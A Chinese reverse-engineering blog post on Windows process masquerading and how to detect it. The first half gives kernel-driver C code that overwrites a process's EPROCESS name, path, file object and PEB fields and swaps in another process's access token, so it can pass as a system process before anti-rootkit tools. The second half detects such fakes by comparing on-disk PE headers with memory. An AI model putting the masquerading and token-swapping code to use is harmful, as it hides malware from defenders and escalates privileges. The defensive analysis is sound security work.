进程伪装原理与破除
- 逆向
- 2025-12-10
- 12热度
- 0评论
首先演示下进程伪装的效果
伪装前
伪装后
ark显示的信息
通过测试发现,可以伪装成系统进程或者其他正常应用,来迷惑ark工具的查询;相比隐藏进程而言更加稳定和隐蔽。
伪装进程的实现方式:
1.傀儡进程,这种方法3环也可实现,原理类似LoadPE,在进程内存中手动拉伸修复我们的可执行程序。
2.修改进程结构体信息达到伪装。这种进程伪装核心思想:把要伪装成进程的各种信息复制到当前进程,并且不能干扰操作系统正常运行程序。可以理解为就是疯狂CV。
2的基本实现
1.复制eprocess中的ImageFileName[15] 进程名
BOOLEAN fake_processimagename(PEPROCESS dest, PEPROCESS my)
{
PCHAR destName = (PsGetProcessImageFileName)(dest);
PCHAR myName = (PsGetProcessImageFileName)(my);
(memcpy)(myName, destName, 15);
return TRUE;
}
2.复制eprocess中的SeAuditProcessCreationInfo 进程全路径
//0x8 bytes (sizeof)
struct _SE_AUDIT_PROCESS_CREATION_INFO
{
struct _OBJECT_NAME_INFORMATION* ImageFileName; //0x0
};
PUNICODE_STRING myFullName = NULL; PUNICODE_STRING destFullName = NULL; (SeLocateProcessImageName)(my, &myFullName); (SeLocateProcessImageName)(dest, &destFullName); PUNICODE_STRING newname = (PUNICODE_STRING)(ExAllocatePool)(NonPagedPool, destFullName->MaximumLength); newname->Length = destFullName->Length; newname->MaximumLength = destFullName->MaximumLength; newname->Buffer = destFullName->Buffer; (memcpy)(newname->Buffer, destFullName->Buffer, destFullName->Length); *((PULONG64)((PUCHAR)my + get_eprocess_imagefilename_offset())) = (ULONG64)newname; (ExFreePool)(myFullName); return TRUE;
3.复制eprocess中的ImageFilePointer 文件对象
BOOLEAN bRet = FALSE;
PFILE_OBJECT pFileObject = NULL;
WCHAR* szNewFullName = NULL;
if (szFullName == NULL || Process == NULL)
return FALSE;
szNewFullName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
if (szNewFullName == NULL)
return FALSE;
RtlZeroMemory(szNewFullName, KMAX_PATH * 2);
if (!NT_SUCCESS(PsReferenceProcessFilePointer(Process, &pFileObject)))
return FALSE;
if (pFileObject->FileName.Length >= wcslen(szFullName) * 2)
{
RtlZeroMemory(pFileObject->FileName.Buffer, pFileObject->FileName.MaximumLength);
RtlCopyMemory(pFileObject->FileName.Buffer, szFullName, wcslen(szFullName) * 2);
pFileObject->FileName.Length = wcslen(szFullName) * 2;
ExFreePool(szNewFullName);
bRet = TRUE;
}
else
{
RtlCopyMemory(szNewFullName, szFullName, wcslen(szFullName) * 2);
pFileObject->FileName.Buffer = szNewFullName;
pFileObject->FileName.Length = wcslen(szFullName) * 2;
pFileObject->FileName.MaximumLength = KMAX_PATH * 2;
bRet = TRUE;
}
ObDereferenceObject(pFileObject);
return bRet;
4.复制eprocess中的Token 令牌
PACCESS_TOKEN pSystemToken = (PACCESS_TOKEN)(PsReferencePrimaryToken)(dest); PACCESS_TOKEN MyToken = (PACCESS_TOKEN)(PsReferencePrimaryToken)(my); * ((PULONG64)((PUCHAR)my + get_eprocess_token_offset())) = (ULONG64)pSystemToken; (ObfDereferenceObject)(pSystemToken); (ObfDereferenceObject)(MyToken);
5.复制eprocess中的Peb 环境块 注意32位程序与64位程序不同,这里只展示64位的,记得CommandLine,WindowTitle,CurrentDirectory也要复制不然ark一眼看出差距。
PPEB64 destPeb = (PPEB64)(PsGetProcessPeb)(dest);
PPEB64 myPeb = (PPEB64)(PsGetProcessPeb)(my);
if (!destPeb || !myPeb) return 0;
KAPC_STATE fakeApcState = { 0 };
KAPC_STATE srcApcState = { 0 };
UNICODE_STRING ImagePathName = { 0 };
UNICODE_STRING CommandLine = { 0 };
UNICODE_STRING WindowTitle = { 0 };
UNICODE_STRING dospath={0};
ULONG64 Handle=0;
(KeStackAttachProcess)(dest, &srcApcState);
SIZE_T pro = NULL;
( MmCopyVirtualMemory)(dest, destPeb, dest, destPeb, 1, UserMode, &pro);
(MmCopyVirtualMemory)(dest, destPeb->ProcessParameters, dest, destPeb->ProcessParameters, 1, UserMode, &pro);
//复制ImagePathName
if (destPeb->ProcessParameters->ImagePathName.Length)
{
ImagePathName.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->ImagePathName.MaximumLength);
(memcpy)(ImagePathName.Buffer, destPeb->ProcessParameters->ImagePathName.Buffer, destPeb->ProcessParameters->ImagePathName.Length);
ImagePathName.Length = destPeb->ProcessParameters->ImagePathName.Length;
ImagePathName.MaximumLength = destPeb->ProcessParameters->ImagePathName.MaximumLength;
}
//复制CommandLine
if (destPeb->ProcessParameters->CommandLine.Length)
{
CommandLine.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->CommandLine.MaximumLength);
(memcpy)(CommandLine.Buffer, destPeb->ProcessParameters->CommandLine.Buffer, destPeb->ProcessParameters->CommandLine.Length);
CommandLine.Length = destPeb->ProcessParameters->CommandLine.Length;
CommandLine.MaximumLength = destPeb->ProcessParameters->CommandLine.MaximumLength;
}
//复制WindowTitle
if (destPeb->ProcessParameters->WindowTitle.Length)
{
WindowTitle.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->WindowTitle.MaximumLength);
(memcpy)(WindowTitle.Buffer, destPeb->ProcessParameters->WindowTitle.Buffer, destPeb->ProcessParameters->WindowTitle.Length);
WindowTitle.Length = destPeb->ProcessParameters->WindowTitle.Length;
WindowTitle.MaximumLength = destPeb->ProcessParameters->WindowTitle.MaximumLength;
}
//复制CurrentDirectory
if (destPeb->ProcessParameters->CurrentDirectory.DosPath.Length)
{
dospath.Buffer = (PWCH)(ExAllocatePool)(NonPagedPool, destPeb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength);
(memcpy)(dospath.Buffer, destPeb->ProcessParameters->CurrentDirectory.DosPath.Buffer, destPeb->ProcessParameters->CurrentDirectory.DosPath.Length);
dospath.Length = destPeb->ProcessParameters->CurrentDirectory.DosPath.Length;
dospath.MaximumLength = destPeb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength;
Handle = (ULONG64)destPeb->ProcessParameters->CurrentDirectory.Handle;
}
(KeUnstackDetachProcess)(&srcApcState);
//附加要伪装的进程,并复制
(KeStackAttachProcess)(my, &fakeApcState);
(MmCopyVirtualMemory)(my, myPeb, my, myPeb, 1, UserMode, &pro);
(MmCopyVirtualMemory)(my, myPeb->ProcessParameters, my, myPeb->ProcessParameters, 1, UserMode, &pro);
//复制ImagePathName
myPeb->ProcessParameters->ImagePathName.Length = ImagePathName.Length;
myPeb->ProcessParameters->ImagePathName.MaximumLength = ImagePathName.MaximumLength;
myPeb->ProcessParameters->ImagePathName.Buffer = ImagePathName.Buffer;
//复制CommandLine
myPeb->ProcessParameters->CommandLine.Length = CommandLine.Length;
myPeb->ProcessParameters->CommandLine.MaximumLength = CommandLine.MaximumLength;
myPeb->ProcessParameters->CommandLine.Buffer = CommandLine.Buffer;
//复制WindowTitle
myPeb->ProcessParameters->WindowTitle.Length = WindowTitle.Length;
myPeb->ProcessParameters->WindowTitle.MaximumLength = WindowTitle.MaximumLength;
myPeb->ProcessParameters->WindowTitle.Buffer = WindowTitle.Buffer;
//复制CurrentDirectory
myPeb->ProcessParameters->CurrentDirectory.DosPath.Length = dospath.Length;
myPeb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength = dospath.MaximumLength;
myPeb->ProcessParameters->CurrentDirectory.DosPath.Buffer = dospath.Buffer;
myPeb->ProcessParameters->CurrentDirectory.Handle = (PVOID)Handle;
(KeUnstackDetachProcess)(&fakeApcState);
if (ImagePathName.Length) (ExFreePool)(ImagePathName.Buffer);
if (CommandLine.Length) (ExFreePool)(CommandLine.Buffer);
if (WindowTitle.Length) (ExFreePool)(WindowTitle.Buffer);
if (dospath.Length) (ExFreePool)(dospath.Buffer);
6.到此为止一个最基本的伪装进程已经实现,当然还有好多细节没有copy,细节就靠个人发挥了。
查询伪装进程
那么问题来了,如果恶意程序进行了伪装,我们应该如何查询呢?
俗话说的好,假的永远是假的,代替不了真的。下面介绍几个常见的查询点:
1.模块,虽然主模块可以伪装一致,但是其他模块和模块数量明显的差异,且模块大小和基地址都可能存在差异
2.窗口,如果伪装成例如系统进程csrss.exe是没有窗口的
3.其他进程结构体,一般进程伪装不会完美伪装每一个细节,可以从细节信息对比差异,如eprocess中的ImagePathHash,不过本人不会从这里查,我假设伪装者很努力,复制了所有细节并且使用pdb解析完美兼容所有系统。
4.dump可疑进程内存,并上传样本;不过对于个人而言还是太吃经济了。
5.线程,很难保证伪装和被伪装的线程一致
6.内存对比,伪装后进程的文件对象被修改成被伪装进程的对象,我们可以利用这一点反其道而行,读取路径中文件的pe信息与进程内存相比较。
本人采用的思路是第六种,具体操作对比pe可选头中的镜像大小SizeOfImage,入口点 AddressOfEntryPoint,以及入口点的前几个字节,简单有效
//大小: 32bit(0xE0) 64bit(0xF0)
typedef struct _IMAGE_OPTIONAL_HEADER {
WORD Magic; //文件类型: 10bh为32位PE文件 / 20bh为64位PE文件
BYTE MajorLinkerVersion; //链接器(主)版本号 对执行没有任何影响
BYTE MinorLinkerVersion; //链接器(次)版本号 对执行没有任何影响
DWORD SizeOfCode; //包含代码的节的总大小.文件对齐后的大小.编译器填的没用
DWORD SizeOfInitializedData; //包含已初始化数据的节的总大小.文件对齐后的大小.编译器填的没用.
DWORD SizeOfUninitializedData; //包含未初始化数据的节的总大小.文件对齐后的大小.编译器填的没用.(未初始化数据,在文件中不占用空间;但在被加载到内存后,PE加载程序会为这些数据分配适当大小的虚拟地址空间).
DWORD AddressOfEntryPoint; //程序入口(RVA)
DWORD BaseOfCode; //代码的节的基址(RVA).编译器填的没用(代码节起始的RVA,表示映像被加载进内存时代码节的开头相对于ImageBase的偏移地址,节的名称通常为".text")
DWORD BaseOfData; //数据的节的基址(RVA).编译器填的没用(数据节起始的RVA,表示映像被加载进内存时数据节的开头相对于ImageBase的偏移地址,节的名称通常为".data")
DWORD ImageBase; //内存镜像基址
DWORD SectionAlignment; //内存对齐大小
DWORD FileAlignment; //文件对齐大小
WORD MajorOperatingSystemVersion; //标识操作系统主版本号
WORD MinorOperatingSystemVersion; //标识操作系统次版本号
WORD MajorImageVersion; //PE文件自身的主版本号
WORD MinorImageVersion; //PE文件自身的次版本号
WORD MajorSubsystemVersion; //运行所需子系统主版本号
WORD MinorSubsystemVersion; //运行所需子系统次版本号
DWORD Win32VersionValue; //子系统版本的值.必须为0,否则程序运行失败.
DWORD SizeOfImage; //内存中整个PE文件的映射尺寸.可比实际的值大.必须是SectionAlignment的整数倍
DWORD SizeOfHeaders; //所有头+节表按照文件对齐后的大小.
DWORD CheckSum; //校验和.大多数PE文件该值为0.在内核模式的驱动程序和系统DLL中,该值则是必须存在且是正确的.在IMAGEHLP.DLL中函数CheckSumMappedFile就是用来计算文件头校验和的,对于整个PE文件也有一个校验函数MapFileAndCheckSum.
WORD Subsystem; //文件子系统 驱动程序(1) 图形界面(2) 控制台/DLL(3)
WORD DllCharacteristics; //文件特性.不是针对DLL文件的
DWORD SizeOfStackReserve; //初始化时保留的栈大小.该字段默认值为0x100000(1MB),如果调用API函数CreateThread时,堆栈参数大小传入NULL,则创建出来的栈大小将是1MB.
DWORD SizeOfStackCommit; //初始化时实际提交的栈大小.保证初始线程的栈实际占用内存空间的大小,它是被系统提交的.这些提交的栈不存在与交换文件里,而是在内存中.
DWORD SizeOfHeapReserve; //初始化时保留的堆大小.用来保留给初始进程堆使用的虚拟内存,这个堆的句柄可以通过调用函数GetProcessHeap获得.每一个进程至少会有一个默认的进程堆,该堆在进程启动时被创建,而且在进程的生命期中不会被删除.默认值为1MB.
DWORD SizeOfHeapCommit; //初始化时实践提交的堆大小.在进程初始化时设定的堆所占用的内存空间,默认值为PAGE_SIZE.
DWORD LoaderFlags; //调试相关
DWORD NumberOfRvaAndSizes; //目录项数目,默认为10h.
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];//结构数组 数组元素个数由IMAGE_NUMBEROF_DIRECTORY_ENTRIES定义
} IMAGE_OPTIONAL_HEADER32, * PIMAGE_OPTIONAL_HEADER32;
代码没啥可看的,太水了,当然文章讲述的更多是思路,也不排除是本人太懒。
检测伪装进程演示:
正常程序,文件和内存镜像一致
伪装后的两个程序
对比内存和文件后发现不一致,可以判定疑似伪装









